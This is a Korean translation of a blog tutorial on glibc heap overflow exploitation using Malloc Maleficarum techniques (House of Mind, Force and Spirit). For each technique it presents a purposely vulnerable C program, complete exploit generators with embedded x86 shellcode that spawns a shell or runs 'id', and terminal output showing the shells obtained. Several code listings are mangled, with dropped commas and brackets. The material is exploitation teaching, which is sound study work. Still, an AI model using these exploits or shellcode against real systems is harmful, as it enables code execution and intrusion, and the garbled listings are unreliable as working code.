System/Linux

Heap overflow using Malloc Maleficarum 번역

Tribal 2016. 7. 14. 23:16

원본 URL : https://sploitfun.wordpress.com/2015/03/04/heap-overflow-using-malloc-maleficarum/


-----------------------------------------------------------------------------------------------------------------

Heap Overflow using Malloc Maleficarum


전제 조건 :

  1. Understanding glibc malloc
2004년 후반기에, 'glibc malloc'은 확립되었다. 이후, unlink와 같은 기법은 더 이상 쓸모가 없게 되고, 이 기법을 사용하는 공격자는 없다. 하지만 2005년 후반기라는 잠깐 동안의 시간 흐르고, 'Phantasmal Phatasmagoria'라는 성공적으로 heap overflow exploit이 가능한 아래와 같은 시리즈의 기법이 출현하였다.
  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit
House of Mind : 이 기법은, 공격자가 구축한 fake arena를 사용하여 'glibc malloc'를 속인다. fake arena는 unsorted bin의 fd가 free의 GOT entry - 12의 주소를 가지는 방식으로 구축된다. 그래서 이 때, 취약한 프로그램의 해제된 청크를 통해 free의 GOT entry를 쉘코드의 주소로 덮어쓴다. 성공적으로 GOT overwrite한 후, 취약한 프로그램으로부터 free가 호출되고, 최종적으로 쉘코드의 실행이 가능하게 된다.

전제 조건들 : 아래는 heap overflow 취약점을 가진 모든 프로그램이 exploit 가능한 상황에서, house of mind 기법을 무조건 적용하기 어렵다는 것을 나타내기 위한 전제 조건들이다.  


  1. 공격자에 의해 제어되는 메모리 영역에서 HEAP_MAX_SIZE 배수로 정렬하였을 때, malloc 시리즈의 호출은 청크의 주소까지 요구된다. 이는 fake heap_info 구조체에서 발견되는 메모리 영역이다. Fake heap_info의 arena 포인터 ar_ptr은 fake arena를 말한다. 그래서 양쪽의 fake arena와 fake heap_info의 메모리 집합은 공격자에 의해 제어된다.
  2. 공격자에 의해 제어되는 청크의 size 필드(및 이 청크의 arena 포인터 - 전제 조건 1)는 해제해야 한다.
  3. 위의 해제된 청크의 다음 청크는 top 청크가 되어서는 안 된다.

취약 프로그램 : 이 프로그램은 위의 전제 조건들을 만족하고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* vuln.c
House of Mind vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
 
int main (void) {
    char *ptr = malloc(1024); /* First allocated chunk */
    char *ptr2; /* Second chunk/Last but one chunk */
    char *ptr3; /* Last chunk */
    int heap = (int)ptr & 0xFFF00000;
    _Bool found = 0;
    int i = 2;
 
    for (i = 2; i < 1024; i++) {
        /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
        /* 0x08100000 is the place where fake heap_info structure is found. */
        if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000== (heap + 0x100000))) //[1]
        {
            printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
            found = 1;
            break;
        }
    }
    ptr3 = malloc(1024); //[2] /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
    /* User Input. */
    fread (ptr, 1024 * 10241, stdin); //[3]
 
    free(ptr2); //[4] /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
    free(ptr3); //[5] /* Shell code execution. */
    return(0); /* Bye */
}
cs


위의 취약 프로그램의 Heap 메모리 :


취약 프로그램 의 Line[3]은 heap overflow를 발생시켜, 사용자의 입력을 총 1MB 크기인 청크1의 메모리 포인터에 저장한다. 그래서 공격자는 heap overflow exploit 성공하기 위해, 다음 목록과 같은 순서로 사용자 입력을 한다 :

  • Fake arena
  • Junk
  • Fake heap_info
  • Shellcode
Exploit 코드(C언어) : 이 프로그램은 공격자의 데이터 파일을 생성한다 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/* exp.c
Program to generate attacker data.
Command:
     #./exp > file
*/
#include <stdio.h>
 
#define BIN1 0xb7fd8430
 
char scode[] =
/* Shellcode to execute linux command "id". Size - 72 bytes. */
"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
"\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
 
char ret_str[4= "\x00\x00\x00\x00";
 
void convert_endianess(int arg)
{
    int i=0;
    ret_str[3= (arg & 0xFF000000>> 24;
    ret_str[2= (arg & 0x00FF0000>> 16;
    ret_str[1= (arg & 0x0000FF00>> 8;
    ret_str[0= (arg & 0x000000FF>> 0;
}
int main() {
    int i=0,j=0;
 
    fwrite("\x41\x41\x41\x41"41, stdout); /* fd */
    fwrite("\x41\x41\x41\x41"41, stdout); /* bk */
    fwrite("\x41\x41\x41\x41"41, stdout); /* fd_nextsize */
    fwrite("\x41\x41\x41\x41"41, stdout); /* bk_nextsize */
    /* Fake Arena. */
    fwrite("\x00\x00\x00\x00"41, stdout); /* mutex */
    fwrite("\x01\x00\x00\x00"41, stdout); /* flag */
    for(i=0;i<10;i++)
        fwrite("\x00\x00\x00\x00"41, stdout); /* fastbinsY */
    fwrite("\xb0\x0e\x10\x08"41, stdout); /* top */
    fwrite("\x00\x00\x00\x00"41, stdout); /* last_remainder */
    for(i=0;i<127;i++) {
        convert_endianess(BIN1+(i*8));
        if(i == 119) {
            fwrite("\x00\x00\x00\x00"41, stdout); /* preserve prev_size */
            fwrite("\x09\x04\x00\x00"41, stdout); /* preserve size */
        } 
        else if(i==0) {
            fwrite("\xe8\x98\x04\x08"41, stdout); /* bins[i][0] = (GOT(free) - 12) */
            fwrite(ret_str, 41, stdout); /* bins[i][1] */
        }
        else {
            fwrite(ret_str, 41, stdout); /* bins[i][0] */
            fwrite(ret_str, 41, stdout); /* bins[i][1] */
        }
    }
    for(i=0;i<4;i++) {
        fwrite("\x00\x00\x00\x00"41, stdout); /* binmap[i] */
    }
    fwrite("\x00\x84\xfd\xb7"41, stdout); /* next */
    fwrite("\x00\x00\x00\x00"41, stdout); /* next_free */
    fwrite("\x00\x60\x0c\x00"41, stdout); /* system_mem */
    fwrite("\x00\x60\x0c\x00"41, stdout); /* max_system_mem */
    for(i=0;i<234;i++) {
        fwrite("\x41\x41\x41\x41"41, stdout); /* PAD */
    }
    for(i=0;i<722;i++) {
        if(i==721) {
            /* Chunk 724 contains the shellcode. */
            fwrite("\xeb\x18\x00\x00"41, stdout); /* prev_size  - Jmp 24 bytes */
            fwrite("\x0d\x04\x00\x00"41, stdout); /* size */
            fwrite("\x00\x00\x00\x00"41, stdout); /* fd */
            fwrite("\x00\x00\x00\x00"41, stdout); /* bk */
            fwrite("\x00\x00\x00\x00"41, stdout); /* fd_nextsize */
            fwrite("\x00\x00\x00\x00"41, stdout); /* bk_nextsize */
            fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
            "\x90\x90\x90\x90\x90\x90\x90\x90"161, stdout);  /* NOPS */
            fwrite(scode, sizeof(scode)-11, stdout); /* SHELLCODE */
            for(j=0;j<230;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
            continue;
        } 
        else {
            fwrite("\x00\x00\x00\x00"41, stdout); /* prev_size */
            fwrite("\x09\x04\x00\x00"41, stdout); /* size */
        }
        if(i==720) {
            for(j=0;j<90;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
            fwrite("\x18\xa0\x04\x08"41, stdout); /* Arena Pointer */
            for(j=0;j<165;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
        } 
        else {
            for(j=0;j<256;j++)
                fwrite("\x42\x42\x42\x42"41, stdout); /* PAD */
        }
    }
    return 0;
}
cs

공격자가 사용자 입력을 통해 데이터 파일을 생성하였을 경우, 취약 프로그램의 힙 메모리 : 


취약 프로그램의 line[4]가 실행될 때, 'glibc malloc'은 다음과 같이 공격자의 사용자 입력을 통해 데이터 파일을 생성한다 :

  • arena_for_chunk macro의 호출로부터 검색된 해제된 청크의 arena.
    • arena_for_chunk : 만일 NON_MAIN_ARENA(N) bit가 세트되어 있지 않다면, main arena가 리턴된다. 만일 세트가 되었다면, 해당 heap_info 구조체는 HEAP_MAX_SIZE의 배수로 청크 주소를 정렬하여 접근된다. 그 후, 획득한 heap_info 구조체의 arena 포인터가 리턴되게 된다. 현재 가정된 상황에서는, NON_MAIN_ARENA bit는 공격자에 의해 세트되고, 이로 인하여 해제된 청크의 heap_info 구조체(0x08100000)가 획득된다. 또한, 공격자는 획득한 heap_info 구조체의 arena 포인터를 fake arena로 가리키는 방법으로 덮어쓸 것이다. ie) heap_info의 ar_ptr = fake arena의 베이스 주소(ie) 0x0804a018).
  • arena 포인터와 청크의 주소를 인자로 하여 _int_free 호출. 현재 가정된 상황에서 arena 포인터는 fake arena를 가리킨다. 그래서 fake arena와 청크의 주소를 _int_free의 인자로 넘기게 된다.
    • Fake Arena : 공격자에 의해 덮어쓸 필요가 있는 fake arena의 핵심적인 필드는 다음과 같다 :
      • Mutex - unlock 상태로 설정
      • Bins - Unsorted bin의 fd는 free의 GOT entry - 12의 주소를 가져야 한다.
      • Top -
        • Top address는 해제된 청크 주소와 같아서는 안 된다.
        • Top address는 다음 청크 주소보다 커야한다.
      • System Memory - 시스템 메모리는 다음 청크의 크기보다 커야한다.
  • _int_free() : 
    • 만일 청크가 non mmap'd이라면, 제어 장치를 획득한다. 현재 가정된 상황의 청크는 non mmap'd이며, fake arena의 mutex 제어 장치가 성공적으로 획득된다.
      ※ non mmap'd : Size가 128KB 이상일 경우 mmap() 시스템 콜을 통해 할당되는데, 이것으로 할당된 청크가 아님
    • Consolidate
      • 이전 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 이전 청크가 할당되기 때문에, 역방향으로 통합할 수 없다. 
      • 다음 청크가 해제된 상태라면, 해제 후 통합된 경우로 검색한다. 현재 가정된 상황에서는 다음 청크가 할당되기 때문에, 정방향으로 통합할 수 없다.
    • unsorted bin에는 현재 해제된 청크가 배치된다. 현재 가정된 상황에서 fake arena의 unsorted bin의 fd는 'fwd' 변수에 복사된 free의 GOT entry - 12의 주소를 가지고 있다. 이 후, 해제되는 청크의 주소는 'fwd->bk'에 복사된다. bk는 malloc_chunk에서 오프셋 12에 위치하기 때문에, 12를 'fwd' 변수에 더한다. (ie) free-12+12). 그리고 이 때, free의 GOT entry는 현재 해제된 주소로 수정된다. 이후 공격자가 해제된 청크에 쉘코드를 위치시킬 경우, free에 적용된 공격자의 쉘코드는 언제든지 실행될 수 있다!!
아래에서 볼 수 있듯이 취약 프로그램은 실행되고 공격자가 생성한 데이터 파일에 의해 쉘코드가 실행된다.
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc --z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
ptr found at 0x804a008
good heap allignment found on malloc() 724 (0x81002a0)
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
cs


방어방법 : 현재, house of mind 기법은 'glibc malloc'이 견고해진 이후로 사용할 수 없다. 아래와 같이 house of mind를 사용한 heap overflow가 막히는 체크가 추가되었다.

  • 변조된 청크 : Unsorted bin의 첫번째 청크의 bk 포인터는 unsorted bin을 가리킨다. 그렇지 않은 경우에는 'glibc malloc'은 변조된 청크 오류를 예외처리한다. 
if(__glibc_unlikely (fwd->bk != bck))
        {
          errstr = "free(): corrupted unsorted chunks";
          goto errout;
}
cs



House of Force : 이 기법은, 공격자가 top chunk의 size를 악용하고, top 청크를 사용하여 'glibc malloc'이 힙 시스템 메모리 크기보다 훨씬 큰 메모리를 요청하도록 속인다. 그리고 새로운 malloc 요청이 만들어질 때, free의 GOT entry를 쉘코드의 주소로 덮어쓸 수 있다. 덕분에 이 후, 언제든지 free가 호출되면, 쉘코드가 실행된다!!


전제 조건들 : 아래의 목록과 같이 house of force를 성공적으로 적용하기 위해서는 3개의 malloc 호출이 요구된다.

  • Malloc 1 : 공격자는 top 청크의 size를 제어할 수 있어야 한다. 물리적으로 top 청크 이전에 위치한 할당된 청크에서 heap overflow가 가능하기 때문이다.
  • Malloc 2 : 공격자는 malloc 요청의 size를 제어할 수 있어야 한다.
  • Malloc 3 : 사용자 입력은 할당된 청크에 복사되어야 한다.
취약 프로그램 : 이 프로그램은 위의 전제 조건들을 가지고 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/*
House of force vulnerable program. 
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> 
 
int main(int argc, char *argv[])
{
        char *buf1, *buf2, *buf3;
        if (argc != 4) {
                printf("Usage Error\n");
                return;
        }
        [1]buf1 = malloc(256);
        [2]strcpy(buf1, argv[1]); /* Prereq 1 */
        [3]buf2 = malloc(strtoul(argv[2], NULL16)); /* Prereq 2 */
        [4]buf3 = malloc(256); /* Prereq 3 */
        [5]strcpy(buf3, argv[3]); /* Prereq 3 */
 
        [6]free(buf3);
        free(buf2);
        free(buf1);
        return 0;
}
cs


위의 취약 프로그램의 힙 메모리 :

취약 프로그램의 Line[2]에서 heap overflow의 원인이다. 그래서 heap overflow exploit을 성공하기 위해, 공격자는 다음과 같은 command line 인자들을 사용한다 :

  • argv[1] - Shellocde + Padding + 첫 번째 malloc 청크에 복사하기 위한 Top 청크의 size
  • argv[2] - 두 번째 malloc 청크의 size 인자
  • argv[3] - 세 번째 malloc 청크에 복사하기 위한 사용자 입력

Exploit 코드(C언어) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Program to exploit executable 'vuln' using hof technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define VULNERABLE "./vuln"
#define FREE_ADDRESS 0x08049858-0x8
#define MALLOC_SIZE "0xFFFFF744"
#define BUF3_USER_INP "\x08\xa0\x04\x08"
                
/* Spawn a shell. Size - 25 bytes. */
char scode[] =
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
        
int main( void )
{       
        int i;
        char * p;
        char argv1[ 265 ];
        char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
        
        strcpy(argv1,scode);
        for(i=25;i<260;i++)
                argv1[i] = 'A';
        
        strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
        argv[264= ''/* Terminating NULL character */ 
 
        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return-1 );
}
cs

공격자의 command line 인자가 복사된 취약 프로그램의 힙 메모리 :

공격자의 인자는 다음과 같이 동작한다 :


Line[2] top 청크의 size를 덮어씀 :

  • 공격자의 인자(argv[1] - Shellcode + Padding + 0xFFFFFFFF)는 힙 버퍼 'buf1'로 복사된다. 그러나 argv[1]이 256보다 큰 이유로, top 청크의 size가 "0xFFFFFFFF"으로 덮어쓰여진다.

Line[3] top 청크 코드를 사용한 매우 큰 블럭 할당 :

  • 매우 큰 블럭 할당 요청의 목적은 할당 이후에 있는데, 새로운 top 청크는 free의 GOT entry 이전 8바이트에 배치되어야 한다. 그래서 다시 한번 malloc을 요청하는 것(line[4])이 free의 GOT entry를 덮어쓰는데 도움이 된다.
  • 공격자의 인자(argv[2] - 0xFFFFF744)는 두 번째 malloc 호출(line[3])의 size 인자로 전달된다. size 인자는 아래의 공식에 사용되어 계산된다 :
    • size = ((free-8)-top)
    • 어디서
      • free는 "실행가능한 'vuln' 내부의 free의 GOT entry"이다. ie) free = 0x08049858.
      • top은 "현재 top 청크 (첫 번째 malloc line[1] 이후)"이다. ie) top = 0x0804a108.
    • size = ((0x08049858 - 0x8) - 0x0804a108) = -8B8 = 0xFFFFF748
    • 아래에서 볼 수 있듯이 size = 0xFFFFF748일 때, 새로운 top 청크가 free의 GOT entry 이전 8바이트에 배치되는 목적을 달성하게 된다 :
      • (0xFFFFF748 + 0x0804a108) = 0x08049850 = (0x08049858 - 0x8)
    • 그러나 공격자가 0xFFFFF748의 size 인자를 넘길 때, 'glibc malloc'은 사용할 수 있는 크기 0xFFFFF750으로 size를 변환하여 이런 이유로 새로운 top 청크 size는 0x08049850 대신 0x08049858에 위치하게 된다. 따라서, 0xFFFFF748 대신 공격자는 size 인자로써 0xFFFFF744를 넘겨야 하며, 이 경우 원하던 크기인 '0xFFFFF748'로 변환된다.

line [4]에서 :

  • line[3] 이후로 top 청크 포인터는 0x08049850이며, 256바이트의 메모리 할당 요청은 'glibc malloc'으로 buf3에 복사된 0x08049858로 리턴하도록 만든다. 

line [5]에서 :

  • GOT overwrite의 결과로 buf3에 buf1의 주소가 복사되었다. 그래서 결과적으로 free를 호출(line[6])하면서 쉘코드를 실행하게 된다.

아래와 같이 취약 프로그램의 실행과 함께 공격자가 입력한 command line 인자를 실행하면 쉘코드가 실행되는 것을 볼 수 있다 :

sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc --z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ 
cs


방어 방법 : 지금까지 이 기법에 대해 방어기법이 추가되지 않았다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!



House of Spirit: 이 기법은, 공격자가 힙 영역이 아닌 스택 영역에 존재하는 청크에 리턴하도록 'glibc malloc'을 속인다. 이를 통해 공격자는 스택에 저장된 'Return Address'를 덮어쓸 수 있다.


전제 조건 : 아래는 heap overflow 취약점을 가진 모든 프로그램이 이 기법을 사용하여 성공적으로 exploit을 하기 위한 전제 조건들이다.

  • buffer overflow를 통해 청크의 주소를 저장하고 있는 변수를 덮어 써, 'glibc malloc'으로 리턴된다.
  • 위의 청크는 free되어 있어야 한다. 공격자는 해제된 청크의 size를 제어할 수 있어야 하며, 다음 malloc 청크의 크기를 같은 size로 제어한다.
  • Malloc a chunk
  • 사용자 입력을 위의 malloc 청크에 복사해야 한다.

취약 프로그램 : 이 프로그램은 위의 전제 조건을 모두 만족하고 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* vuln.c
House of Spirit vulnerable program
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void fvuln(char *str1, int age)
{
   char *ptr1, name[44];
   int local_age;
   char *ptr2;
   [1]local_age = age; /* Prereq 2 */
 
   [2]ptr1 = (char *malloc(256);
   printf("\nPTR1 = [ %p ]", ptr1);
   [3]strcpy(name, str1); /* Prereq 1 */
   printf("\nPTR1 = [ %p ]\n", ptr1);
   [4]free(ptr1); /* Prereq 2 */
 
   [5]ptr2 = (char *malloc(40); /* Prereq 3 */
   [6]snprintf(ptr2, 40-1"%s is %d years old", name, local_age); /* Prereq 4 */
   printf("\n%s\n", ptr2);
}
 
int main(int argc, char *argv[])
{
   int i=0;
   int stud_class[10];  /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
   for(i=0;i<10;i++)
        [7]stud_class[i] = 10;
   if (argc == 3)
      fvuln(argv[1], 25);
   return 0;
}
cs


위의 취약 프로그램의 스택 레이아웃 :

취약 프로그램의 Line[3]은 buffer overflow가 발생하는 곳이다. 그래서 취약 프로그램을 성공적으로 exploit하기 위해서는, 공격자는 아래와 같은 command line 인자를 구성해야 한다 :

  • argv[1] = Shellcode + Stack Address + Chunk size
Exploit 코드(C언어) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* Program to exploit executable 'vuln' using hos technique.
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
#define VULNERABLE "./vuln"
 
/* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
char scode[] =
        "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
 
int main( void )
{
        int i;
        char * p;
        char argv1[54];
        char * argv[] = { VULNERABLE, argv1, NULL };
 
        strcpy(argv1,scode);
 
        /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
        strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30"); 
 
        argv[53= '';
 
        /* Execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return-1 );
}
cs

위의 취약 프로그램의 스택 라이아웃과 공격자의 인자 :

공격자의 인자로 return address를 덮어쓰는 과정 : 


Line[3] : Buffer overflow

  • 여기에서 공격자가 입력한 'argv[1]'은 char buffer 'name'에 복사된다. 공격자의 입력이 44보다 큰 관계로, 변수 ptr1과 local_age는 각각 스택 주소와 청크 크기로 덮어쓰여진다. 
    • 스택 주소 - 0xbffffdf0 => 공격자는 line[5]가 실행될 때, 이 주소로 리턴하도록 'glibc malloc'을 속인다.
    • 청크 크기 - 0x30 => 이 청크의 크기는 line[4](아래에서 보이듯이) 실행될 때, 'glibc malloc'을 속이는데 사용된다. 

Line[4] : 'glibc malloc의 fast bin에 스택의 일부분을 추가

  • free()은 _int_free()를 적용한다. buffer overflow 이후, ptr1 = 0xbffffdf0 (0x0804aa08이 아님). 덮어써진 ptr1은 free()에 인자로 넘겨진다. 이것은 'gibc malloc'을 스택 영역에 위치한 메모리 일부를 해제하도록 속인다. 해제된 스택 일부의 크기는 ptr1 - 8 + 4에 배치되고, 공격자에 의해 0x30으로 덮어쓰여져 'glibc malloc'은 이 청크를 fast 청크로 처리한 후, index 4에 위치한 fast binlist의 앞부분 마지막에 해제된 청크를 삽입한다.
Line[5] : line[4]에서 추가하였던 스택의 일부분을 회수
  • 40의 malloc 요청은 checked_request2size에 의해 사용할 수 있는 크기인 48로 변환된다. 사용할 수 있는 크기 '48'은 fast 청크에 속하기 때문에, fast bin(index 4에 위치한)에 해당하여 회수된다. fast binlist의 첫번째 청크는 사용자에게 삭제되고 반환된다. 이 첫번째 청크는 아무것도 아니지만 line[4]가 실행되는 동안 스택의 일부분이 추가되었다.

Line[6] : Return Address 덮어쓰기

  • 공격자의 인자 'argv[1]'은 0xbffffd40에서 시작하는 'glibc malloc'에 의해 반환된 스택의 일부분에 복사한다. argv[1]의 맨 앞 16바이트는 
    • \xeb\x0e => Jmp 14바이트
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41 => Padding
    •  \xb8\xfd\xff\xbf - Return Address를 이 값에 의해 덮어쓰여진 스택에 저장한다. 이 후, fvuln이 실행될 때, EIP는 0xbffffdb8이 될 것이다. 0xbffffdb8의 위치에는 jmp 명령어가 저장되어 이를 따라 쉘코드가 실행될 것이다!!
아래처럼 공격자의 인자함께 취약 프로그램 실행하면 쉘코드가 실행되는 것을 볼 수 있다 :
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc --fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc --o exp exp.c
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp 
 
PTR1 = [ 0x804a008 ]
PTR1 = [ 0xbffffdf0 ]
 
AAAAAAAAAA����1�Ph//shh/bin��P��S�
$ ls
cmd  exp  exp.c  print    vuln  vuln.c
$ exit
sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$
cs


방어 기법 : 현재까지, 이 비법에 대해 방어 기법이 추가되어 있지 않다. 그래서 이 기법은 최신 glibc로 컴파일한 경우에도 heap overflow exploit을 가능하다!!



House of Prime : TBU



House of Lore: TBU


NOTE : 실험을 위해서, 모든 취약 프로그램은 다음과 같은 리눅스 보안 기법없이 컴파일되었다 :

  • ASLR
  • NX
  • RELRO (ReLocation Read-Only)
Reference : 
  • The Malloc Maleficarum

------------------------------------------------------------------------------------------------------------------------------------------